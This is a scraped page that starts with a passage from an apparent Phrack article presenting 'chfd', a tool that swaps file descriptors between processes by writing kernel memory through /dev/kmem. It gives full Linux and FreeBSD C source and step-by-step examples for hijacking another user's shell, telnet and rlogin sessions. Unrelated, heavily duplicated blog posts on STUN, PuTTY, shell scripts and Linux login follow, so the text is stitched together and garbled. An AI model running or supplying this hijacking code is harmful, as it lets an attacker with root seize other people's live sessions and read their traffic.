(at least for the first 20 or 32 or 64 or so fds per process), and because
it's quite unlikely that you'll do this just when the process is closing or
opening a new fd.
You still want to try it?
For simplicity's sake, we won't try to do things like duplicating an fd
between two processes, or passing an fd from one process to another
without passing another one in return. Instead, we'll just exchange an
fd in one process with another fd in another process. This way we only
have to deal with open files, and don't mess with things like reference
counts. This is as simple as finding two pointers in the kernel and
switching them around. A slightly more complicated version of this
involves 3 processes, and a circular permutation of the fds.
Of course, you have to guess which fd corresponds to the resource you
want to pass. To take complete control of a running shell, you'll want
its standard input, output and error, so you'll need to take the 3 fds
0, 1 and 2. To take control of a telnet session, you'll want the fd of
the inet socket that telnet is using to talk to the other side, which is
usually 3, and exchange it with another running telnet (so it knows what
to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell
you which fds the process is using.
Using chfd
----------
I've implemented this for Linux and FreeBSD; it would be fairly easy to
port to other systems (as long as they let you write to /dev/mem or
/dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
figure out how it works).
To compile chfd for Linux, you need to figure out a couple things about
the running kernel. If it's a 1.2.13 or similar, you'll need to
uncomment the line /* #define OLDLINUX */, because the kernel's
structures have changed since then. If it's 2.0.0 or newer, it should
work out of the box, although it could change again...
Then you need to find the symbol table for the kernel, which is usually
in /boot/System.map or similar. Make sure this corresponds to the
kernel that is actually running, and look up the address for the "task"
symbol. You need to put this value in chfd, instead of "00192d28".
Then compile with "gcc chfd.c -o chfd".
To compile chfd for FreeBSD, just get the FreeBSD code and compile it
with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD
2.2.1, and might need tweaking for other versions.
Once it's compiled, you invoke chfd with
chfd pid1 fd1 pid2 fd2
or
chfd pid1 fd1 pid2 fd2 pid3 fd3
In the first case, the fds are just swapped. In the second case, the
second process gets the first's fd, the third gets the second's fd, and
the first gets the third's fd.
As a special case, if one of the pids is zero, the corresponding fd is
discarded, and a fd on /dev/null is passed instead.
Example 1
---------
. a long calculation is running with pid 207, and with output to the tty
. you type "cat > somefile", and look up cat's pid (say 1746)
Then doing
chfd 207 1 1746 1
will redirect the calculation on the fly to the file "somefile", and the
cat to the calculation's tty. Then you can ^C the cat, and leave the
calculation running without fear of important results scrolling by.
Example 2
---------
. someone is running a copy of bash on a tty, with pid 4022
. you are running another copy of bash on a tty, with pid 4121
Then you do
sleep 10000
# on your own bash, so it won't read its tty for a while,
# otherwise your shell gets an EOF from /dev/null and leaves
# the session immediately
chfd 4022 0 0 0 4121 0
chfd 4022 1 0 0 4121 1
chfd 4022 2 0 0 4121 2
and you find yourself controlling the other guy's bash, and getting the
output too, while the guy's keystrokes go to /dev/null. When you exit
the shell, he gets his session disconnected, and you're back in your
sleep 10000 which you can safely ^C now.
Different shells might use different file descriptors; zsh seems to use
fd 10 to read from the tty, so you'll need to exchange that too.
Example 3
---------
. someone is running a telnet on a tty, with pid 6309
. you start a telnet to some worthless port that won't drop the
connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
whatever), with pid 7081
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
Then doing
chfd 6309 3 7081 3 0 0
will replace the network connection with a /dev/null on the guy's telnet
(which reads an EOF, so he'll get a "Connection closed by foreign
host."), and your telnet finds itself connected to the guy's remote
host. At this point you'll probably need to press ^] and type "mode
character" to tell your telnet to stop echoing your lines locally.
Example 4
---------
. someone is running an rlogin on a tty; each rlogin uses two processes,
with pids 4547 and 4548
. you start an rlogin localhost on another tty, with pids 4852 and 4855
. a quick look at the relevant /proc/../fds tells you that each of the
rlogin processes is using fd 3 for the connection.
Then doing
chfd 4547 3 4552 3
chfd 4548 3 4555 3
does just what you expect. Except that your rlogin may still be blocked
by the kernel because it's waiting on an event that won't happen (having
data to read from localhost); in that case you wake it up with a kill
-STOP followed by 'fg'.
You get the idea. When a program gets another one's fd, it's important
that it knows what to do with it; in most cases you achieve this by
running a copy of the same program you want to take over, unless you're
passing a fd on /dev/null (which gives an EOF) or just passing
stdin/stdout/stderr.
Conclusion
----------
As you can see, you can do quite powerful things with this. And there
isn't really much you can do to protect yourself from some root doing
this, either.
It could be argued that it's not even a security hole; root is
*supposed* to be able to do these things. Otherwise there wouldn't be
explicit code in the drivers for /dev/kmem to let you write there, would
there?
The Linux code
--------------
<++> fd_hijack/chfd-linux.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for Linux/intel and is *very* system-specific.
* Needs read/write access to /dev/kmem; setgid kmem is usually enough.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third gets
* the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo
* First version: 14 Feb 96
* This version: 2 May 97
*/
#include
#include
#include
#define __KERNEL__ /* needed to access kernel-only definitions */
#include
/* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x;
tested only on 1.2.13 */
#define TASK 0x00192d28 /* change this! look at the system map,
usually /boot/System.map, for the address
of the "task" symbol */
#ifdef OLDLINUX
# define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
# define AD(fd) (taskp + FD0 + 4*(fd))
#else
# define FILES ((char *)&ts.files - (char *)&ts)
# define FD0 ((char *)&fs.fd[0] - (char *)&fs)
# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
#endif
int kfd;
struct task_struct ts;
struct files_struct fs;
int taskp;
int readval(int ad) {
int val, r;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((r = read(kfd, &val, 4)) != 4) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
return val;
}
int readvalz(int ad) {
int r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(int ad, int val) {
int w;
if (lseek(kfd, ad, SEEK_SET) < 0)
perror("lseek"), exit(1);
if ((w = write(kfd, &val, 4)) != 4) {
if (w < 0)
perror("write");
else fprintf(stderr, "Error writing...\n");
exit(1);
}
}
void readtask(int ad) {
int r;
if (lseek(kfd, ad, SEEK_SET)<0)
perror("lseek"), exit(1);
if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
sizeof(struct task_struct)) {
if (r < 0)
perror("read");
else fprintf(stderr, "Error reading...\n");
exit(1);
}
}
void findtask(int pid) {
int adr;
for (adr=TASK; ; adr+=4) {
if (adr >= TASK + 4*NR_TASKS)
fprintf(stderr, "Process not found\n"), exit(1);
taskp = readval(adr);
if (!taskp) continue;
readtask(taskp);
if (ts.pid == pid) break;
}
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = open("/dev/kmem", O_RDWR);
if (kfd < 0)
perror("open"), exit(1);
findtask(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findtask(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findtask(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
The FreeBSD code
----------------
<++> fd_hijack/chfd-freebsd.c
/* chfd - exchange fd's between 2 or 3 running processes.
*
* This was written for FreeBSD and is *very* system-specific. Needs
* read/write access to /dev/mem and /dev/kmem; only root can usually
* do that, and only if the system is running at securelevel -1.
*
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
* Compile with: gcc chfd.c -o chfd -lkvm
*
* With two sets of arguments, exchanges a couple of fd between the
* two processes.
* With three sets, the second process gets the first's fd, the third
* gets the second's fd, and the first gets the third's fd.
*
* Note that this is inherently unsafe, since we're messing with kernel
* variables while the kernel itself might be changing them. It works
* in practice, but no self-respecting program would want to do this.
*
* Written by: orabidoo
* FreeBSD version: 4 May 97
*/
#include
#include
#include
#include
#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
#define FILES ((char *)&p.p_fd - (char *)&p)
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
kvm_t *kfd;
struct proc p;
u_long procp, allproc;
struct nlist nm[2];
u_long readval(u_long ad) {
u_long val;
if (kvm_read(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error reading...\n"), exit(1);
return val;
}
u_long readvalz(u_long ad) {
u_long r = readval(ad);
if (r == 0)
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
return r;
}
void writeval(u_long ad, u_long val) {
if (kvm_write(kfd, ad, &val, 4) != 4)
fprintf(stderr, "error writing...\n"), exit(1);
}
void readproc(u_long ad) {
if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
fprintf(stderr, "error reading a struct proc...\n"), exit(1);
}
void findproc(int pid) {
u_long adr;
for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
procp = adr;
readproc(procp);
if (p.p_pid == pid) return;
}
fprintf(stderr, "Process not found\n");
exit(1);
}
int main(int argc, char **argv) {
int pid1, fd1, pid2, fd2, pid3, fd3;
u_long ad1, val1, ad2, val2, ad3, val3;
int three=0;
if (argc != 5 && argc != 7)
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
exit(1);
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
if (argc == 7)
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
if (pid1 == 0)
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
if (pid2 == 0)
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
if (three && pid3 == 0)
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
if (kfd == NULL) exit(1);
bzero(nm, 2*sizeof(struct nlist));
nm[0].n_name = "_allproc";
nm[1].n_name = NULL;
if (kvm_nlist(kfd, nm) != 0)
fprintf(stderr, "Can't read kernel name list\n"), exit(1);
allproc = nm[0].n_value;
findproc(pid1);
ad1 = AD(fd1);
val1 = readvalz(ad1);
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
findproc(pid2);
ad2 = AD(fd2);
val2 = readvalz(ad2);
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
if (three) {
findproc(pid3);
ad3 = AD(fd3);
val3 = readvalz(ad3);
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
}
if (three) {
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad2, val1);
writeval(ad3, val2);
writeval(ad1, val3);
} else {
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
fprintf(stderr, "fds changed in memory while using them - try again\n");
exit(1);
}
writeval(ad1, val2);
writeval(ad2, val1);
}
printf("Done!\n");
}
<-->
----[ EOF
http://www.phrack.org/archives/51/P51-05
Tuesday, April 17, 2007
What is STUN Server For SIP Phone ?
STUN (Simple Traversal of UDP through NATs (Network Address Translation)) is a protocol for assisting devices behind a NAT firewall or router with their packet routing.
Note: The STUN RFC states: This protocol is not a cure-all for the problems associated with NAT.
* STUN enables a device to find out its public IP address and the type of NAT service its sitting behind.
* STUN operates on TCP and UDP port 3478.
* STUN is not widely supported by VOIP devices yet.
* STUN may use DNS SRV records to find STUN servers attached to a domain. The service name is _stun._udp or _stun._tcp
Definitions (from the RFC)
* STUN Client: A STUN client (also just referred to as a client) is an entity that generates STUN requests. A STUN client can execute on an end system, such as a user's PC, or can run in a network element, such as a conferencing server.
* STUN Server: A STUN Server (also just referred to as a server) is an entity that receives STUN requests, and sends STUN responses. STUN servers are generally attached to the public Internet.
http://www.voip-info.org/wiki/view/STUN
http://www.vovida.org/applications/downloads/stun/
Note: The STUN RFC states: This protocol is not a cure-all for the problems associated with NAT.
* STUN enables a device to find out its public IP address and the type of NAT service its sitting behind.
* STUN operates on TCP and UDP port 3478.
* STUN is not widely supported by VOIP devices yet.
* STUN may use DNS SRV records to find STUN servers attached to a domain. The service name is _stun._udp or _stun._tcp
Definitions (from the RFC)
* STUN Client: A STUN client (also just referred to as a client) is an entity that generates STUN requests. A STUN client can execute on an end system, such as a user's PC, or can run in a network element, such as a conferencing server.
* STUN Server: A STUN Server (also just referred to as a server) is an entity that receives STUN requests, and sends STUN responses. STUN servers are generally attached to the public Internet.
http://www.voip-info.org/wiki/view/STUN
http://www.vovida.org/applications/downloads/stun/
Monday, March 5, 2007
X-win32 with Putty in internet
X-win32 with Putty
Run X-Win32 on your PC (All Programs -> X-Win32 6.0 -> X-Win32)
If you haven't already, download putty from here
Run putty
In putty, type: cluster.cs.columbia.edu in the "Host Name" field.
Click on "Connection" -> "SSH" -> "Tunnels"
Check the box for "Enable X11 forwarding"
Go back to "Session"
Type: CS Cluster into "Saved Sessions"
Click "Save" to save it for subsequent use.
Click: "Open" button. A new window should appear.
Type in your username and password to log in
Once you are logged into cluster, type: "xterm&" and you should see the Xterm window open. (Sometimes the Xterm window opens in the behind all the other windows.)
Any X GUI program such as Matlab or Mathematica will open a new window if you run it from the command line.
X-Win32 – www.cs.columbia.edu/...
http://www.google.com/notebook/public/0489008055096
4041631/BDRwQSwoQlpOGhLsh#SDRgMSwoQoe_d7sgh
Run X-Win32 on your PC (All Programs -> X-Win32 6.0 -> X-Win32)
If you haven't already, download putty from here
Run putty
In putty, type: cluster.cs.columbia.edu in the "Host Name" field.
Click on "Connection" -> "SSH" -> "Tunnels"
Check the box for "Enable X11 forwarding"
Go back to "Session"
Type: CS Cluster into "Saved Sessions"
Click "Save" to save it for subsequent use.
Click: "Open" button. A new window should appear.
Type in your username and password to log in
Once you are logged into cluster, type: "xterm&" and you should see the Xterm window open. (Sometimes the Xterm window opens in the behind all the other windows.)
Any X GUI program such as Matlab or Mathematica will open a new window if you run it from the command line.
X-Win32 – www.cs.columbia.edu/...
http://www.google.com/notebook/public/0489008055096
4041631/BDRwQSwoQlpOGhLsh#SDRgMSwoQoe_d7sgh
Thursday, February 1, 2007
In scripts -Inputbox in Dialog Box
#!/bin/bash
dialog --title "Inputbox - To take input from you" --backtitle "Linux Shell\
Script Tutorial" --inputbox "Enter your name please" 8 60 2>/tmp/input.$$
sel=$?
na=`cat /tmp/input.$$`
case $sel in
0) echo "Hello $na" ;;
1) echo "Cancel is Press" ;;
255) echo "[ESCAPE] key pressed" ;;
esac
rm -f /tmp/input.$$
# ./ch.sh: vivek-tech.com to nixcraft.com referance converted using this tool
# See the tool at http://www.nixcraft.com/uniqlinuxfeatures/tools/
dialog --title "Inputbox - To take input from you" --backtitle "Linux Shell\
Script Tutorial" --inputbox "Enter your name please" 8 60 2>/tmp/input.$$
sel=$?
na=`cat /tmp/input.$$`
case $sel in
0) echo "Hello $na" ;;
1) echo "Cancel is Press" ;;
255) echo "[ESCAPE] key pressed" ;;
esac
rm -f /tmp/input.$$
# ./ch.sh: vivek-tech.com to nixcraft.com referance converted using this tool
# See the tool at http://www.nixcraft.com/uniqlinuxfeatures/tools/
Script for Turning all keyboardd -LED lights on/off
#
# Linux Shell Scripting Tutorial (LSST) v1.05, March 2001
# Author: Vivek G Gite
#
# Run as:
# $ chmod +x kbdfun
# $ ./kbdfun
#
echo -e "\033[0q Turning all kbd -LED lights off"
echo "* * * Press CTRL + C to stop"
while [ 1 ]
do
echo -e "\033[1q Scroll On Other Off"
sleep 1
echo -e "\033[2q Num On Other Off"
sleep 1
echo -e "\033[3q Caps On Other Off"
sleep 1
done
Note:
q understand following parameters
Parameters Meaning
0 Turns off all LEDs on Keyboard
1 Scroll lock LED on and others off
2 Num lock LED on and others off
3 Caps lock LED on and others off
# Linux Shell Scripting Tutorial (LSST) v1.05, March 2001
# Author: Vivek G Gite
#
# Run as:
# $ chmod +x kbdfun
# $ ./kbdfun
#
echo -e "\033[0q Turning all kbd -LED lights off"
echo "* * * Press CTRL + C to stop"
while [ 1 ]
do
echo -e "\033[1q Scroll On Other Off"
sleep 1
echo -e "\033[2q Num On Other Off"
sleep 1
echo -e "\033[3q Caps On Other Off"
sleep 1
done
Note:
q understand following parameters
Parameters Meaning
0 Turns off all LEDs on Keyboard
1 Scroll lock LED on and others off
2 Num lock LED on and others off
3 Caps lock LED on and others off
Wednesday, January 31, 2007
Friday, January 19, 2007
The login Process in LINUX
http://www.linuxjournal.com/article/3121
The beginning of it all....
Virtually all Linux sessions begin with the user typing his user name at a prompt that looks like this:
login:
In this article, I will explain a little about what really happens behind the scenes and what contortions the system goes through to get a user going.
A Bit about the Shell
First, a quick look at the shell. The shell, which is just a program like any other, reads the characters you type and looks for a program with the same name. Program names are typed at the prompt and executed by the shell. Ending a command line with the & character causes the command to be run in the background.
The shell runs a program in two steps. First, the shell does an operation called a ``fork''. Forking creates a new process that looks just like the original process, inheriting many attributes of its parent such as any open files and user ID. Although it is an exact copy of the shell program, the ``child'' process does not read user commands. The child shell immediately does an operation called an ``exec'', short for ``execute'', in which it causes the Linux kernel to load the new program over the top of the child shell and run that program in its place.
At this point, the original shell simply waits for the child program to finish. Once done, it gets the next line of input from the user, then the whole procedure is repeated. In an active UNIX system, this sort of thing is happening all the time. Even on fairly inactive systems, processes are still run to do housekeeping chores, while others are simply sleeping and waiting for something to happen.
From the bash shell, you can see how exec works by typing
exec ls -l
The ls command runs as usual, but when it is done, you are no longer logged in. The shell is replaced by ls, and when it finishes, it is as if your shell had finished.
How Does it All Get Started?
When the kernel is first loaded into memory, it initializes itself and any hardware that may be attached to the computer. Once the kernel is established enough to be able to run programs, it does. The first program is called ``init''; its job is to function as the ancestor of all processes.
When init starts, it reads a file called inittab, usually located in /etc. This file tells init which programs should be run under which conditions. Not only does init run the startup scripts that bring the rest of the system up, but init also takes care of shutting the system down.
One of the responsibilities of init is running the programs that let users log into the system. For a terminal (or virtual console), the two programs used are getty and login. getty is short for ``get terminal''. A basic getty program opens the terminal device, initializes it, prints login: and waits for a user name to be entered. Modern getty programs (several are available for Linux) can do other things as well--if the terminal device is a (recent) modem, they can read status codes sent by the modem to tell if the call is voice or fax and handle the call appropriately. Most of the time, though, someone just wants to log in, so getty executes the login program, giving the user name to log in via the command line.
The login program then prompts the user for a password. If the password is wrong, login simply exits. The init process then notices that one of its children has exited and spawns another getty process on the terminal in question. If the password is good, login changes its process user ID to that of the user and executes the user's shell. At this point, the user can type commands. When the user exits by typing the shell's built-in logout command, the shell exits and init notices that its child has exited and spawns another getty on the terminal.
Why are two separate programs used to log in instead of just one? The answer is that doing it this way provides more flexibility. For example, getty doesn't have to execute login--it can execute a program to receive (or send) faxes, a PPP daemon to emulate a network connection over a serial line, or if you have a modem with ``voicemail'', one of those phone tree programs that people hate so much (``press five to hear these options again'').
Similarly, login is sometimes needed without getty; for example, when a user logs in over a network, no terminal device is waiting. Instead, each new connection is handled by a program called telnetd that forks and executes a login process. telnetd remains to pass characters between the network and the new shell.
As a partial example of how the process works, Listing 1 shows an autologin replacement for getty. This replacement is meant for people who are tired of typing their user ID and password for the bazillionth time. You can boot Linux and have it drop straight into a couple of shells--sort of like DOS, but with virtual consoles.
To install autologin, copy it to the /sbin (system binaries) directory and type:
chmod +x /sbin/autologin
as root. Still as root, edit the /etc/inittab file and change the lines that look like this:
c1:12345:respawn:/sbin/getty 38400 tty1
to:
c1:12345:respawn:/sbin/autologin tty1 login -f myid
replacing myid with your own user ID. Red Hat installations typically do not have the letter c at the beginning of the line.
Be sure to leave some of the lines containing getty exactly as they are--if you do something wrong, you are going to need a way to log into your system. On my own system, I change c1 through c3 and run three initial shells. Once the file is edited, reboot the system and all should work.
The first argument to autologin is the name of the terminal. The rest of the command line is used as the login command that does the work.
A Synopsis of autologin
The first line tells the kernel how to run this program, in this case by letting the bash shell interpret it. The first exec line is a Bourne shell trick that lets a shell script change the source/destination of its standard input, standard output and standard error. We want to set file descriptors 0, 1 and 2 to refer to the terminal device as expected by login (and many other programs) when they run. The cat command displays the system's standard logon message. The shift command shifts the positional parameters to the shell script. Argument $1 is deleted, argument $2 becomes $1, argument $3 becomes $2 and so on. The last line executes the rest of the command line as a program. In this case, the login -f option performs the normal login procedure, with the -f option telling login not to bother with passwords
The beginning of it all....
Virtually all Linux sessions begin with the user typing his user name at a prompt that looks like this:
login:
In this article, I will explain a little about what really happens behind the scenes and what contortions the system goes through to get a user going.
A Bit about the Shell
First, a quick look at the shell. The shell, which is just a program like any other, reads the characters you type and looks for a program with the same name. Program names are typed at the prompt and executed by the shell. Ending a command line with the & character causes the command to be run in the background.
The shell runs a program in two steps. First, the shell does an operation called a ``fork''. Forking creates a new process that looks just like the original process, inheriting many attributes of its parent such as any open files and user ID. Although it is an exact copy of the shell program, the ``child'' process does not read user commands. The child shell immediately does an operation called an ``exec'', short for ``execute'', in which it causes the Linux kernel to load the new program over the top of the child shell and run that program in its place.
At this point, the original shell simply waits for the child program to finish. Once done, it gets the next line of input from the user, then the whole procedure is repeated. In an active UNIX system, this sort of thing is happening all the time. Even on fairly inactive systems, processes are still run to do housekeeping chores, while others are simply sleeping and waiting for something to happen.
From the bash shell, you can see how exec works by typing
exec ls -l
The ls command runs as usual, but when it is done, you are no longer logged in. The shell is replaced by ls, and when it finishes, it is as if your shell had finished.
How Does it All Get Started?
When the kernel is first loaded into memory, it initializes itself and any hardware that may be attached to the computer. Once the kernel is established enough to be able to run programs, it does. The first program is called ``init''; its job is to function as the ancestor of all processes.
When init starts, it reads a file called inittab, usually located in /etc. This file tells init which programs should be run under which conditions. Not only does init run the startup scripts that bring the rest of the system up, but init also takes care of shutting the system down.
One of the responsibilities of init is running the programs that let users log into the system. For a terminal (or virtual console), the two programs used are getty and login. getty is short for ``get terminal''. A basic getty program opens the terminal device, initializes it, prints login: and waits for a user name to be entered. Modern getty programs (several are available for Linux) can do other things as well--if the terminal device is a (recent) modem, they can read status codes sent by the modem to tell if the call is voice or fax and handle the call appropriately. Most of the time, though, someone just wants to log in, so getty executes the login program, giving the user name to log in via the command line.
The login program then prompts the user for a password. If the password is wrong, login simply exits. The init process then notices that one of its children has exited and spawns another getty process on the terminal in question. If the password is good, login changes its process user ID to that of the user and executes the user's shell. At this point, the user can type commands. When the user exits by typing the shell's built-in logout command, the shell exits and init notices that its child has exited and spawns another getty on the terminal.
Why are two separate programs used to log in instead of just one? The answer is that doing it this way provides more flexibility. For example, getty doesn't have to execute login--it can execute a program to receive (or send) faxes, a PPP daemon to emulate a network connection over a serial line, or if you have a modem with ``voicemail'', one of those phone tree programs that people hate so much (``press five to hear these options again'').
Similarly, login is sometimes needed without getty; for example, when a user logs in over a network, no terminal device is waiting. Instead, each new connection is handled by a program called telnetd that forks and executes a login process. telnetd remains to pass characters between the network and the new shell.
As a partial example of how the process works, Listing 1 shows an autologin replacement for getty. This replacement is meant for people who are tired of typing their user ID and password for the bazillionth time. You can boot Linux and have it drop straight into a couple of shells--sort of like DOS, but with virtual consoles.
To install autologin, copy it to the /sbin (system binaries) directory and type:
chmod +x /sbin/autologin
as root. Still as root, edit the /etc/inittab file and change the lines that look like this:
c1:12345:respawn:/sbin/getty 38400 tty1
to:
c1:12345:respawn:/sbin/autologin tty1 login -f myid
replacing myid with your own user ID. Red Hat installations typically do not have the letter c at the beginning of the line.
Be sure to leave some of the lines containing getty exactly as they are--if you do something wrong, you are going to need a way to log into your system. On my own system, I change c1 through c3 and run three initial shells. Once the file is edited, reboot the system and all should work.
The first argument to autologin is the name of the terminal. The rest of the command line is used as the login command that does the work.
A Synopsis of autologin
The first line tells the kernel how to run this program, in this case by letting the bash shell interpret it. The first exec line is a Bourne shell trick that lets a shell script change the source/destination of its standard input, standard output and standard error. We want to set file descriptors 0, 1 and 2 to refer to the terminal device as expected by login (and many other programs) when they run. The cat command displays the system's standard logon message. The shift command shifts the positional parameters to the shell script. Argument $1 is deleted, argument $2 becomes $1, argument $3 becomes $2 and so on. The last line executes the rest of the command line as a program. In this case, the login -f option performs the normal login procedure, with the -f option telling login not to bother with passwords
Thursday, January 18, 2007
Types of Shells IN LINUX
http://rpmfind.net/linux/RPM/System_Shells.html
ash-1.6.1-2 The Ash shell linux/i586
ash-1.6.1-1.1 The Ash shell linux/i586
bash-completion-20050121-3 Programmable completion for bash linux/noarch
bash-completion-20040711-2 Programmable completion for bash linux/noarch
bash-3.0-15.2 The GNU Bourne-Again Shell
bash-3.0-15 The GNU Bourne-Again Shell linux/i586
bash-3.0-8.2 The GNU Bourne-Again Shell linux/x86_64 linux/i586 linux/i586 linux/i586 linux/i586
bashish-2.0.7-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.6-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.5.1-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.5-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.4-1.bashish.generic Theme Environment For Text Terminals linux/noarch
pdksh-5.2.14-786 Public Domain Korn Shell linux/i586
pdksh-5.2.14-783 Public Domain Korn Shell linux/i586
sash-3.7-32 A stand-alone shell with built-in commands linux/i586
sash-3.7-31 A stand-alone shell with built-in commands linux/i586
tcsh-6.14.00-2.2 The C SHell linux/i586 linux/i586 linux/i586 linux/x86_64 linux/ppc linux/i586 linux/i586 linux/i586 linux/x86_64 linux/ppc
tcsh-6.12.00-455 The C SHell linux/i586
tcsh-6.12.00-453.3 The C SHell linux/i586
tcsh-6.12.00-453.2 The C SHell linux/x86_64 linux/i586 linux/i586 linux/i586
zsh-4.2.4-5 Shell with comprehensive completion
ash-1.6.1-2 The Ash shell linux/i586
ash-1.6.1-1.1 The Ash shell linux/i586
bash-completion-20050121-3 Programmable completion for bash linux/noarch
bash-completion-20040711-2 Programmable completion for bash linux/noarch
bash-3.0-15.2 The GNU Bourne-Again Shell
bash-3.0-15 The GNU Bourne-Again Shell linux/i586
bash-3.0-8.2 The GNU Bourne-Again Shell linux/x86_64 linux/i586 linux/i586 linux/i586 linux/i586
bashish-2.0.7-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.6-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.5.1-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.5-1.bashish.generic Theme Environment For Text Terminals linux/noarch
bashish-2.0.4-1.bashish.generic Theme Environment For Text Terminals linux/noarch
pdksh-5.2.14-786 Public Domain Korn Shell linux/i586
pdksh-5.2.14-783 Public Domain Korn Shell linux/i586
sash-3.7-32 A stand-alone shell with built-in commands linux/i586
sash-3.7-31 A stand-alone shell with built-in commands linux/i586
tcsh-6.14.00-2.2 The C SHell linux/i586 linux/i586 linux/i586 linux/x86_64 linux/ppc linux/i586 linux/i586 linux/i586 linux/x86_64 linux/ppc
tcsh-6.12.00-455 The C SHell linux/i586
tcsh-6.12.00-453.3 The C SHell linux/i586
tcsh-6.12.00-453.2 The C SHell linux/x86_64 linux/i586 linux/i586 linux/i586
zsh-4.2.4-5 Shell with comprehensive completion
Linux Shell Scripting Tutorial (LSST) v1.05r3
http://www.freeos.com/guides/lsst/index.html
if condition
if condition which is used for decision making in shell script, If given condition is true then command1 is executed.
Syntax:
if condition
then
command1 if condition is true or if exit status
of condition is 0 (zero)
...
...
fi
Condition is defined as:
"Condition is nothing but comparison between two values."
For compression you can use test or [ expr ] statements or even exist status can be also used.
Expreession is defined as:
"An expression is nothing but combination of values, relational operator (such as >,<, <> etc) and mathematical operators (such as +, -, / etc )."
Following are all examples of expression:
5 > 2
3 + 6
3 * 65
a < b
c > 5
c > 5 + 30 -1
Type following commands (assumes you have file called foo)
$ cat foo
$ echo $?
The cat command return zero(0) i.e. exit status, on successful, this can be used, in if condition as follows, Write shell script as
$ cat > showfile
#!/bin/sh
#
#Script to print file
#
if cat $1
then
echo -e "\n\nFile $1, found and successfully echoed"
fi
Run above script as:
$ chmod 755 showfile
$./showfile foo
Shell script name is showfile ($0) and foo is argument (which is $1).Then shell compare it as follows:
if cat $1 which is expanded to if cat foo.
Detailed explanation
